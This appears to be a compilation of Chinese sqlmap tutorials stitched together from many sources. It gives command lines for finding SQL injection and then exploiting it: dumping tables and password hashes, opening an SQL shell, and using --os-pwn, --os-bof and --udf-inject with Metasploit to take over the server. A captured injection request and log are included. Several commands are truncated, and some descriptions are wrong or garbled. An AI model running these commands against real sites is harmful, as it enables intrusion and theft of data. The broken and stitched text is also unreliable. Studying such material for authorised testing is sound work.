sqlmap使用笔记[中文]
SQLMAP使用手册
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。
今天把我一直以来整理的sqlmap笔记发布上来供大家参考。
sqlmap简介sqlmap支持五种不同的注入模式:∙1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
∙2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
∙3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
∙4、联合查询注入,可以使用union的情况下的注入。
∙5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB检测注入基本格式sqlmap -u “/post.php?id=1″默认使用level1检测全部数据库类型sqlmap -u “/post.php?id=1″ –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。
cookie注入当程序有防get注入的时候,可以使用cookie注入sqlmap -u “/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)从post数据包中注入可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数注入成功后获取数据库基本信息sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。
sqlmap 用法
sqlmap 用法SQLmap 是一个基于Python 开发的自动化SQL 注入工具,可以自动扫描并发现网站SQL 注入漏洞,进而进行攻击,获取目标站点的敏感信息。
SQLmap 的用法如下:1. 下载SQLmap 并解压缩。
2. 打开命令行,进入到SQLmap 的目录下。
3. 执行以下命令:./sqlmap.py -u " dbs其中,`-u` 参数指定了目标网站的URL,`dbs` 参数是告诉SQLmap 爆破网站的数据库名称。
4. SQLmap 即会自动扫描目标站点,探测是否存在SQL 注入漏洞,并且提供一个菜单让用户选择要进行哪些操作。
下面是一些常用的SQLmap 命令:- `-u` 用来指定目标URL。
- `dbs` 用来指定要爆破的数据库名称。
- `current-db` 用来显示当前所处的数据库名称。
- `tables` 用来显示指定数据库中的所有表。
- `columns` 用来显示指定表中的所有列。
- `dump` 用来下载指定数据库中的所有数据。
- `-p` 用来指定要测试的参数。
- `technique` 用来指定使用的SQL 注入技术。
- `level` 用来指定SQL 注入攻击的强度级别。
- `user-agent` 用来指定HTTP User-Agent。
- `cookie` 用来指定HTTP Cookie。
- `tamper` 用来指定修改SQL 注入攻击载荷的方法。
以上命令只是SQLmap 的一部分,完整的命令列表可以查看SQLmap 的帮助文档。
在使用SQLmap 时,需要谨慎操作,以免不小心删除或修改了网站的数据。
sqlmap的用法
sqlmap的⽤法sqlmap注⼊⼤致流程1、安装python并环境配置,检验2、安装sqlmap,将sqlmap⽂件复制到python⽂件中3、在cmd中cd 到sqlmap⽂件路径4、输⼊python sqlmap.py -u "注⼊点"5、后续注⼊参考以下⽤法语法1、sqlmap⽤法(get类型sqlmap注⼊)sqlmap.py -u 'url' # 检测注⼊点是否可⽤sqlmap.py -u 'url'--dbs #可曝出该mysql中所有数据库名称sqlmap.py -u 'url' --current-db #web当前使⽤的数据库sqlmap.py -u 'url' --current-user #web数据库使⽤账户sqlmap.py -u 'url' --users #列出sql所有⽤户sqlmap.py -u 'url' --passwords #数据库账户与密码sqlmap.py -u 'url' --tables #输出所有的表sqlmap.py -u 'url' -D 【数据库名】 --tables #-D 指定数据库名sqlmap.py -u 'url' -D 【数据库名】 -T 【表名】 --columns #-T:指定要列出字段的表columns 列出了所有的列字段sqlmap.py -u 'url' -D 【数据库名】 -T 【表名】 -C"username,realname,password" --dump # -C :指定要暴的字段扩充实例注⼊点:http://192.168.117.135/xxx.php?xxx_id=1输⼊“python sqlmap.py --version”检查sqlmap是否安装成功输⼊“python sqlmap.py -hh”, “-hh”参数⽤于查看sqlmap的使⽤说明输⼊“python sqlmap.py -u 'url',其中“-u”参数⽤于指定注⼊点的URL。
sqlmap使用笔记
./sqlmap.py -u / test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1
12.
./sqlmap.py -u / test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1
sqlmap使用笔记
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” –resume)
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
14.
./sqlmap.py -u / test.php?p=2 -b –eta
15.
./sqlmap.py -u “/ sqlmap/mysql/get_str_brackets.php?id=1″ -p id –prefix “‘)” –suffix “AND (‘abc’='abc”
3.
./sqlmap.py -u / test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2
Sqlmap使用(必备命令)
Sqlmap使⽤(必备命令)⼀、Sqlmap注⼊篇Sqlmap是⼀个专业的SQL注⼊⼯具,⽤法也很多,具体可以⽤"sqlmap -hh"查看完整的命令帮助⽂档,我这只是给⼤家分享⼀些最常⽤的Sqlmap⽤法。
1、检查注⼊点【get】 sqlmap -u "url"【post】sqlmap -u "url" --data="参数"【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince"【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1"2、爆所有数据库信息--dbs(爆所有数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --dbs【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --dbs--current-db(爆当前数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-db【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-db3、列出指定数据库所有的表名-D 数据库名 --tables例如:列出数据库名为pikachu的所有数据表【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu --tables【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu --tables4、列出指定表名的所有列名--columns 所有列名例如:数据库pikachu中users表所有字段名【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users --columns【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users --columns5、dump打印输出表名指定列名字段的值数据-C 指定需要显⽰数值的字段名,不指定默认显⽰全部字段例如:数据库pikachu中users表中username,password字段的值【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users -C username,password --dump【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users -Cusername,password --dump6、Sqlmap -r 使⽤使⽤Fiddler或者Burp Suite抓包将get或者post请求保存为.txt⽂件,然后使⽤Sqlmap -r “txt⽂件路径”调⽤,这样就不⽤输⼊参数和cookie了。
sqlmap用法
sqlmap用法SQLMAP是一款免费的开源渗透测试Web应用程序的工具,它可以用来检查Web应用程序的SQL注入漏洞,并且可以自动测试漏洞,直接把数据库内容抽取出来。
SQLMAP可以用于网站安全测试,攻击者使用SQLMAP可以发现数据库服务器上的安全漏洞,而且可以把数据库内容抽取出来。
SQLMAP是一款功能强大的渗透测试工具,可以识别和测试多个数据库,包括MySQL、Oracle、MS SQL Server、PostgreSQL、IBM DB2、SQLite、Microsoft Access等常用数据库。
它可以测试多种数据库漏洞,如SQL注入、SQL盲注、SQL抽取、SQL注入补丁评估、基于时间的SQL注入、绕过WAF等。
SQLMAP的工作方式主要分为六个步骤:1.测试链接:首先,SQLMAP通过一个URL来测试链接,然后尝试获取页面的源代码和标头信息。
2.识别数据库:SQLMAP尝试识别页面受到哪种类型的数据库驱动程序的影响,然后开始攻击那种类型的数据库。
3.测试报文:SQLMAP通过发送不同类型的报文来测试目标页面是否存在SQL注入漏洞。
4.抽取数据库:如果目标页面存在SQL注入漏洞,SQLMAP就能够抽取页面上的数据库,从而获取数据库中的敏感信息。
5.在信息层面上建立后门:SQLMAP可以在信息层面上建立后门,绕过管理员的限制,获取系统的敏感信息。
6.执行其他更加有害的操作:在SQLMAP获取系统的敏感信息之后,它还可以执行一些更加有害的操作,比如添加新用户,修改系统配置,查看数据库结构等。
SQLMAP的用法也很简单,只需要输入正确的命令就可以开始使用了。
要开始使用SQLMAP,需要在命令行环境中输入以下命令:sqlmap -u [url]这时,SQLMAP会开始检测SQL注入漏洞,检测完毕之后如果发现SQL注入漏洞,SQLMAP会把发现的漏洞显示出来,这样攻击者就能了解到数据库的相关信息了。
sqlmap基础使用
sqlmap基础使用SQLMap是一款用于自动化SQL注入和数据库渗透测试的工具。
下面是SQLMap的基础使用方法:1. 扫描目标网站:```shellsqlmap -u <目标URL>```2. 扫描POST请求:```shellsqlmap -u <目标URL> --data="<POST数据>"```3. 使用代理扫描目标网站:```shellsqlmap -u <目标URL> --proxy="<代理地址>"```4. 使用Cookie扫描目标网站:```shellsqlmap -u <目标URL> --cookie="<Cookie数据>"```5. 使用自定义User-Agent扫描目标网站:```shellsqlmap -u <目标URL> --user-agent="<User-Agent数据>" ```6. 指定注入点类型:```shellsqlmap -u <目标URL> --level=<测试级别> --risk=<风险级别> ```7. 扫描指定的注入点:```shellsqlmap -u <目标URL> --tests="<测试名称>"```8. 执行特定的SQL语句:```shellsqlmap -u <目标URL> --sql-query="<SQL语句>"```9. 获取目标数据库版本:```shellsqlmap -u <目标URL> --dbs```10. 获取目标数据库的所有表:```shellsqlmap -u <目标URL> -D <数据库名> --tables```11. 获取指定表的所有列:```shellsqlmap -u <目标URL> -D <数据库名> -T <表名> --columns```12. 获取指定列的数据:```shellsqlmap -u <目标URL> -D <数据库名> -T <表名> -C "<列名1>,<列名2>,..." --dump```以上是SQLMap的基础使用方法,可以根据具体的需求进行组合和调整。
sqlmap使用方法总结
SQLMap 是一款开源的自动化 SQL 注入工具,它可以帮助安全人员快速发现和利用网站中的 SQL 注入漏洞。
以下是 SQLMap 的一些基本使用方法总结:
1. 确定目标:首先,你需要确定要测试的目标网站或应用程序的 URL。
2. 选择注入点:在目标网站上,选择一个你认为可能存在 SQL 注入漏洞的页面或表单。
通常,这些页面会接受用户输入,如用户名、密码、搜索框等。
3. 生成测试语句:使用 SQLMap,你可以生成各种类型的测试语句来尝试注入 SQL 命令。
可以通过指定注入点的参数名称和值来生成测试语句。
4. 执行测试:将生成的测试语句发送到目标网站,并观察返回的结果。
SQLMap 会根据返回的结果判断是否存在 SQL 注入漏洞,并尝试获取更多的信息。
5. 利用漏洞:如果发现了 SQL 注入漏洞,你可以使用 SQLMap 来进一步利用该漏洞。
例如,获取数据库中的敏感信息、修改数据、执行任意 SQL 命令等。
6. 报告漏洞:在完成测试和利用漏洞后,建议你向相关方报告发现的漏洞,以帮助他们修复问题并提高网站的安全性。
需要注意的是,SQLMap 的使用需要谨慎,并且应该仅在授权的环境下进行。
在进行任何安全测试之前,请确保你已经获得了合法的授权。
此外,SQLMap 可能无法适用于所有的网站和应用程序,因为一些网站可能采取了防护措施来防止 SQL 注入攻击。
sqlmap 使用详细介绍
sqlmap 使用详细介绍sqlmap是一种用于自动化检测和利用SQL注入漏洞的工具。
它支持多种数据库,并能够无需用户介入地检测和利用注入漏洞。
下面我们来详细介绍sqlmap 的使用。
1. 安装sqlmap首先,从sqlmap官网下载最新版本。
下载完成后解压,即可开始使用。
2. 检测SQL注入漏洞(1)使用GET参数例如,我们有一个URL:python sqlmap.py -u " dbs这个命令会告诉sqlmap对目标URL进行检测,并且列出所有检测到的数据库。
(2)使用POST参数假设我们有一个表单,其中包含username和password字段,并使用POST 请求将其提交。
假设我们知道这个表单可能存在SQL注入漏洞。
那么,我们可以使用以下命令进行检测:python sqlmap.py -u " data "username=admin&password=123456" dbs这个命令会告诉sqlmap对目标URL进行检测,并列出检测到的所有数据库。
3. 利用SQL注入漏洞如果SQL注入漏洞被检测到,那么我们可以使用以下命令将其利用:python sqlmap.py -u " dbs dump这个命令会告诉sqlmap对目标URL进行检测,并列出检测到的所有数据库,并尝试dump出所有的敏感数据。
请注意,这个命令会将敏感数据写入到当前目录下的一个文件中。
4. 使用代理如果我们需要通过代理服务器来访问目标网站,那么可以使用以下命令:python sqlmap.py -u " proxy dbs这个命令将告诉sqlmap使用指定的代理服务器来连接到目标网站。
5. 高级选项sqlmap还提供了许多高级选项,可帮助我们更好地控制我们的检测和利用。
例如,我们可以使用以下命令指定要使用的数据库:python sqlmap.py -u " dbms mysql dbs这个命令将告诉sqlmap只检测MySQL数据库。
sqlmap简单中文说明
sqlmap简单中文说明更新svn checkout https:///sqlmap/trunk/sqlmap sqlmap-dev sqlmap.py -u "/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行SQL语句sqlmap.py -u "/hotelinchina.asp?cityid=2&m=1" -v 5 //更详细的信息load options from a configuration INI filesqlmap -c sqlmap.conf使用POST方法提交sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data "id=1"使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1使用referer欺骗python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--referer "" -v 3使用自定义user-agent,或者使用随机使用自带的user-agents.txtpython sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1"--user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"使用基本认证python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3使用Digest认证python sqlmap.py -u"http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3使用代理,配合TORpython sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--proxy "http://192.168.1.47:3128"python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--proxy "http://192.168.1.47:8118"使用多线程猜解python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "idpython sqlmap.py -u"http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id" python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 ()"指定数据库,绕过SQLMAP的自动检测python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"* MySQL* Oracle* PostgreSQL* Microsoft SQL Server指定操作系统,绕过SQLMAP自动检测python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"* Linux* Windows自定义payloadOptions: --prefix and --postfixIn some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:$ python sqlmap.py -u"http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id"--prefix "'" --postfix "AND 'test'='test"[...][hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis [hh:mm:16] [INFO] testing custom injection on GET parameter 'id'[hh:mm:16] [TRAFFIC OUT] HTTP request:GET/sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20A ND%20%28%27test%27=%27test HTTP/1.1Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7Host: 192.168.1.121:80Accept-language: en-us,en;q=0.5Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5User-agent: sqlmap/0.7rc1 ()Connection: close[...][hh:mm:17] [INFO] GET parameter 'id' is custom injectable[...]As you can see, the injection payload for testing for custom injection is:id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test which URL decoded is:id=1') AND 7433=7433 AND ('test'='testand makes the query syntatically correct to the page query:SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1 In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.页面比较python sqlmap.py -u"http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1python sqlmap.py -u"<td>lu[\w][\w]er" -v排除网站的内容python sqlmap.py -u"http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"多语句测试,php内嵌函数mysql_query(),不支持多语句python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--stacked-test -v 1union注入测试python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1"--union-test -v 1unionz注入配合orderbypython sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1"--union-test --union-tech orderby -v 1python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --bannerpython sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-userpython sqlmap.py -u--union-use --dbsfingerprintpython sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b判断当前用户是否是dbapython sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--is-dba -v 1列举数据库用户python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--users -v 0列举数据库用户密码python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--passwords -v 0python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1"--passwords -U sa -v 0查看用户权限python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1"--privileges -v 0python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--privileges -U postgres -v 0列数据库python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0列出指定数据库指定表的列名python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--columns -T users -D test -v 1列出指定数据库的指定表的指定列的内容python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1"--dump -T users -D master -C surname -v 0指定列的范围从2-4python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--dump -T users -D test --start 2 --stop 4 -v 0导出所有数据库,所有表的内容python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--dump-all -v 0只列出用户自己新建的数据库和表的内容python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1"--dump-all --exclude-sysdbs -v 0sql querypython sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--sql-query "SELECT usename FROM pg_user" -v 0python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--sql-query "SELECT host, password FROM er LIMIT 1, 3" -v 1 SELECT usename, passwd FROM pg_shadow ORDER BY usename保存和恢复会话python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s "sqlmap.log"保存选项到INC配置文件python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save。
史上最详细的sqlmap使用教程
史上最详细的sqlmap使用教程SQLMap是一个强大的SQL注入工具,以下是它的详细使用教程:一、概述SQLMap是一个自动化工具,用于检测和利用SQL注入漏洞。
通过使用SQLMap,用户可以绕过应用程序的安全措施,执行任意SQL命令,并获取敏感数据。
二、安装与配置1. 下载SQLMap:从官方网站下载最新版本的SQLMap。
2. 配置环境:根据您的操作系统和编程环境,确保已安装Python和必要的依赖项。
3. 设置代理:如果您的网络环境需要通过代理访问目标服务器,请配置好代理设置。
三、基本用法1. 扫描单个目标:使用以下命令扫描单个目标是否存在SQL注入漏洞:```csspython -u <目标URL> --dump-all```其中,`<目标URL>`是您要扫描的目标网址。
`--dump-all`参数用于提取所有数据库和表信息。
2. 扫描多个目标:如果您要扫描多个目标,可以将URL列表保存在文件中,并使用以下命令:```csspython -f <目标URL列表文件> --dump-all```3. 指定数据库类型:如果目标数据库类型已知,可以使用`--dbms`参数指定数据库类型。
例如:```csspython -u <目标URL> --dbms MySQL --dump-all```4. 使用特定的注入技巧:SQLMap支持多种注入技巧,如布尔型盲注、时间盲注、报错注入等。
您可以使用`--technique`参数指定特定的注入技巧。
例如:```csspython -u <目标URL> --technique=B --dump-all```其中,`B`表示布尔型盲注。
5. 绕过验证码:如果目标网站使用了验证码机制,您可以使用`--skip-captcha`参数绕过验证码。
例如:```csspython -u <目标URL> --skip-captcha --dump-all```6. 使用自定义请求头:如果目标服务器要求特定的请求头信息,您可以使用`--headers`参数自定义请求头。
学习笔记二十七:SQLMap注入MySQL
学习笔记⼆⼗七:SQLMap注⼊MySQL
在拿到⼀个⽹站后若是想知道它是否存在注⼊漏洞,那么我们就可以拿出Vega扫描器对该⽹站进⾏漏洞扫描,通过⼯具扫描和⼿⼯注⼊来确定它是否存在注⼊漏洞。
⾸先,我们将要扫描的⽹站⽹址粘贴过来。
在扫描结束后我们可以发现它是否具有可以利⽤的漏洞。
接着我们可以将右边的请求串复制到⽹站的⽹址栏⾥运⾏。
对这⾥的1进⾏替换成2会发现⽹页会返回错误信息,这也可以再次说明它存在注⼊漏洞。
在此之后,我们就可以使⽤SQLMap对其进⾏注⼊。
⾸先,我们使⽤sqlmap来判断它是否存在id参数注⼊,也就是我们通常说的先⽤sqlmap跑⼀下。
当它返回下⾯这样⼀串时,我们直接回车就好,因为⼀般都是先让它从等级1开始看看,要是没有的话再提⾼测试风险等级。
当测试出结果后,我们就可以得知它存在哪些注⼊漏洞。
接下来我们就可以⽤该语句来获取所有表名:
然后从获取的表名当中推断哪个更有可能存在我们想要的数据,执⾏下⾯语句来获取表中所有字段信息:
接着,我们就可以⽤下⾯的语句来获取字段中的信息:
注:要注意的是,为了避免⽆意当中违反法律,我们在使⽤的查看表的内容的时候要注意不要全部查看,看个⼀两条就收(最好不要超过5条数据),具体语句如下。
指定从第⼀条开始到第⼆条结束:。
sqlmap的基本命令使用
sqlmap的基本命令使用SQLMap是一种开源的自动化SQL注入工具,用于发现和利用Web 应用程序中的SQL注入漏洞。
通过利用SQL注入漏洞,攻击者可以访问或修改数据库中的数据,甚至可以获取服务器上的敏感信息。
SQLMap可以帮助安全研究人员和渗透测试人员快速检测和利用这些漏洞。
下面是SQLMap的一些基本命令和用法:1. 网址目标:使用"-u" 参数指定目标URL,例如:```sqlmap -u http://example/page.php?id=1```2. 请求文件目标:如果你已经获取了Web应用程序的请求文件(例如Burp或Fiddler),可以使用"-r" 参数指定请求文件,例如: ```sqlmap -r request.txt```3. 请求头参数:使用"-H" 参数指定请求头参数,例如:```sqlmap -u http://example/page.php?id=1 -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"```4. 数据库类型:使用"--dbms" 参数指定目标数据库的类型。
SQLMap支持多种数据库,如MySQL、Oracle等。
例如:```sqlmap -u http://example/page.php?id=1 --dbms=mysql```5. 扫描所有参数:使用"--dbs" 参数扫描数据库的名称,例如:```sqlmap -u http://example/page.php?id=1 --dbs```6. 扫描所有表:使用"-D" 参数指定数据库名,并使用"--tables" 参数扫描所有表,例如:```sqlmap -u http://example/page.php?id=1 --tables -D database_name```7. 扫描所有列:使用"-T" 参数指定表名,并使用"--columns" 参数扫描所有列,例如:```sqlmap -u http://example/page.php?id=1 --columns -D database_name -T table_name```8. 数据提取:使用"-D" 参数指定数据库名、"-T" 参数指定表名和"-C" 参数指定列名,例如:```sqlmap -u http://example/page.php?id=1 --dump -Ddatabase_name -T table_name -C column_name```9. 执行SQL语句:使用"--sql-shell" 参数进入交互式SQL Shell,例如:```sqlmap -u http://example/page.php?id=1 --sql-shell```10. 批量扫描:使用"-m" 参数指定扫描目标的URL文件,例如: ```sqlmap -m targets.txt```总结起来,SQLMap是一种强大而灵活的工具,可以用于发现和利用Web应用程序中的SQL注入漏洞。
sqlmap使用教程
sqlmap使用教程SQLMap是一款用于检测和利用SQL注入漏洞的工具。
使用SQLMap,您可以通过自动化方式发现和利用网站中存在的SQL注入漏洞,进而获取敏感信息或者实施攻击。
以下是使用SQLMap的基本步骤:1. 安装SQLMap:从SQLMap官方网站下载最新版本的SQLMap,并按照指示进行安装。
2. 目标选择:确定您要测试的目标网站。
可以使用URL、IP 地址或者文件路径作为目标。
3. 执行测试:打开终端窗口,并输入以下命令来启动SQLMap 的测试过程:```sqlmap -u <目标URL> --dbs```此命令将测试目标网站,并返回可用的数据库。
4. 选择数据库:根据返回的结果,选择您要测试的数据库。
5. 探测表:使用以下命令来探测数据库中的表:```sqlmap -u <目标URL> -D <数据库名称> --tables```这将返回目标数据库中的所有表。
6. 探测列:选择一个要测试的表,并使用以下命令来探测该表中的列:```sqlmap -u <目标URL> -D <数据库名称> -T <表名称> --columns```此命令将返回表中的所有列。
7. 获取数据:选择您想要获取数据的列,并使用以下命令来获取数据:```sqlmap -u <目标URL> -D <数据库名称> -T <表名称> -C <列名称> --dump```使用该命令,您将获取到目标列中的所有数据。
8. 其他功能:SQLMap还具有其他功能,例如提供交互式shell、获取数据库管理系统版本、执行操作系统命令等。
您可以在SQLMap的官方文档中了解更多功能的用法。
请注意,使用SQLMap进行测试时需要遵守法律和道德规范。
使用此工具可能涉及到未经授权的操作,因此请仅在合法的测试环境中使用,并取得合法授权后进行测试。
sqlmap工具使用方法
sqlmap工具使用方法SQLMAP工具使用方法SQLMAP是一款开源的渗透测试工具,它的主要功能是破解Web 应用中的SQL注入漏洞,并且可以自动化地执行无数个大量的SQL 语句,以检测出可以被利用的SQL注入漏洞。
一、SQLMAP的安装1、下载SQLMAP可以在网络上搜索相应的下载地址,选择合适的下载安装包。
2、安装过程双击sqlmap.exe文件,会弹出一个安装界面,仔细阅读安装条款,然后点击“下一步”,一直到完成安装。
二、SQLMAP的使用使用SQLMAP的前提是,我们已经发现了可能存在SQL注入漏洞的网页,如果没有发现,可以使用BurpSuite等工具来进行扫描。
1、评估目标在开始使用前,首先要评估目标,看看是否存在SQL注入漏洞,以及目标网页中存在什么样的参数名、参数值等。
2、生成攻击语句使用SQLMAP后,首先需要生成攻击语句,并且将攻击语句中的参数替换成目标网页中的参数,以便攻击成功,一般来说,格式如下:sqlmap.py -u [网址] --data [参数]3、测试目标然后,使用 -a 命令开始测试目标,格式如下:sqlmap.py -u [网址] -a -v 1通过上述命令可以开始测试SQL注入漏洞,检测步骤会自动进行,测试结束后会返回测试结果,如果发现SQL注入漏洞,就可以使用灵活的SQLMAP进行全面的攻击。
4、灵活攻击当发现SQL注入漏洞时,我们可以灵活的进行攻击,格式如下:sqlmap.py -u [网址] -a -v 1 --dbs --tables --columns --dump上述代码不仅可以获取数据库中的相关信息,还可以获取表中的所有字段,并将想要的数据导出,进行深入的攻击利用。
sqlmap的使用
sqlmap的使用sqlmap是一款用于自动化SQL注入的工具,它可以帮助安全测试人员快速发现和利用Web应用程序中的SQL注入漏洞。
本文将介绍sqlmap的基本使用方法和注意事项。
首先,我们需要下载并安装sqlmap。
sqlmap是一个开源工具,可以从其官方网站或GitHub上获取最新版本。
安装完成后,我们可以在命令行中输入“sqlmap”来验证是否安装成功。
接下来,我们需要找到一个目标网站进行测试。
